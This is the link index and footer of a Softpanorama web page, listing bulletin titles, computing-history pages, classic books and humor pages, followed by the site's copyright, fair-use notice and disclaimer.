Vol 25, No.12 (December, 2013) Rational Fools vs. Efficient Crooks The efficient markets hypothesis : Political Skeptic Bulletin, 2013 : Unemployment Bulletin, 2010 : Vol 23, No.10 (October, 2011) An observation about corporate security departments : Slightly Skeptical Euromaydan Chronicles, June 2014 : Greenspan legacy bulletin, 2008 : Vol 25, No.10 (October, 2013) Cryptolocker Trojan (Win32/Crilock.A) : Vol 25, No.08 (August, 2013) Cloud providers as intelligence collection hubs : Financial Humor Bulletin, 2010 : Inequality Bulletin, 2009 : Financial Humor Bulletin, 2008 : Copyleft Problems Bulletin, 2004 : Financial Humor Bulletin, 2011 : Energy Bulletin, 2010 : Malware Protection Bulletin, 2010 : Vol 26, No.1 (January, 2013) Object-Oriented Cult : Political Skeptic Bulletin, 2011 : Vol 23, No.11 (November, 2011) Softpanorama classification of sysadmin horror stories : Vol 25, No.05 (May, 2013) Corporate bullshit as a communication method : Vol 25, No.06 (June, 2013) A Note on the Relationship of Brooks Law and Conway Law
History:
Fifty glorious years (1950-2000): the triumph of the US computer engineering : Donald Knuth : TAoCP and its Influence of Computer Science : Richard Stallman : Linus Torvalds : Larry Wall : John K. Ousterhout : CTSS : Multix OS Unix History : Unix shell history : VI editor : History of pipes concept : Solaris : MS DOS : Programming Languages History : PL/1 : Simula 67 : C : History of GCC development : Scripting Languages : Perl history : OS History : Mail : DNS : SSH : CPU Instruction Sets : SPARC systems 1987-2006 : Norton Commander : Norton Utilities : Norton Ghost : Frontpage history : Malware Defense History : GNU Screen : OSS early history
Classic books:
The Peter Principle : Parkinson Law : 1984 : The Mythical Man-Month : How to Solve It by George Polya : The Art of Computer Programming : The Elements of Programming Style : The Unix Hater’s Handbook : The Jargon file : The True Believer : Programming Pearls : The Good Soldier Svejk : The Power Elite
Most popular humor pages:
Manifest of the Softpanorama IT Slacker Society : Ten Commandments of the IT Slackers Society : Computer Humor Collection : BSD Logo Story : The Cuckoo's Egg : IT Slang : C++ Humor : ARE YOU A BBS ADDICT? : The Perl Purity Test : Object oriented programmers of all nations : Financial Humor : Financial Humor Bulletin, 2008 : Financial Humor Bulletin, 2010 : The Most Comprehensive Collection of Editor-related Humor : Programming Language Humor : Goldman Sachs related humor : Greenspan humor : C Humor : Scripting Humor : Real Programmers Humor : Web Humor : GPL-related Humor : OFM Humor : Politically Incorrect Humor : IDS Humor : "Linux Sucks" Humor : Russian Musical Humor : Best Russian Programmer Humor : Microsoft plans to buy Catholic Church : Richard Stallman Related Humor : Admin Humor : Perl-related Humor : Linus Torvalds Related humor : PseudoScience Related Humor : Networking Humor : Shell Humor : Financial Humor Bulletin, 2011 : Financial Humor Bulletin, 2012 : Financial Humor Bulletin, 2013 : Java Humor : Software Engineering Humor : Sun Solaris Related Humor : Education Humor : IBM Humor : Assembler-related Humor : VIM Humor : Computer Viruses Humor : Bright tomorrow is rescheduled to a day after tomorrow : Classic Computer Humor
The Last but not Least Technology is dominated by two types of people: those who understand what they do not manage and those who manage what they do not understand ~Archibald Putt. Ph.D
Copyright © 1996-2021 by Softpanorama Society. www.softpanorama.org was initially created as a service to the (now defunct) UN Sustainable Development Networking Programme (SDNP) without any remuneration. This document is an industrial compilation designed and created exclusively for educational use and is distributed under the Softpanorama Content License. Original materials copyright belong to respective owners. Quotes are made for educational purposes only in compliance with the fair use doctrine.
FAIR USE NOTICE This site contains copyrighted material the use of which has not always been specifically authorized by the copyright owner. We are making such material available to advance understanding of computer science, IT technology, economic, scientific, and social issues. We believe this constitutes a 'fair use' of any such copyrighted material as provided by section 107 of the US Copyright Law according to which such material can be distributed without profit exclusively for research and educational purposes.
This is a Spartan WHYFF (We Help You For Free) site written by people for whom English is not a native language. Grammar and spelling errors should be expected. The site contain some broken links as it develops like a living tree...
|
|
You can use PayPal to to buy a cup of coffee for authors of this site |
Disclaimer:
The statements, views and opinions presented on this web page are those of the author (or referenced source) and are not endorsed by, nor do they necessarily reflect, the opinions of the Softpanorama society. We do not warrant the correctness of the information provided or its fitness for any purpose. The site uses AdSense so you need to be aware of Google privacy policy. You you do not want to be tracked by Google please disable Javascript for this site. This site is perfectly usable without Javascript.
Last modified: January 11, 2019
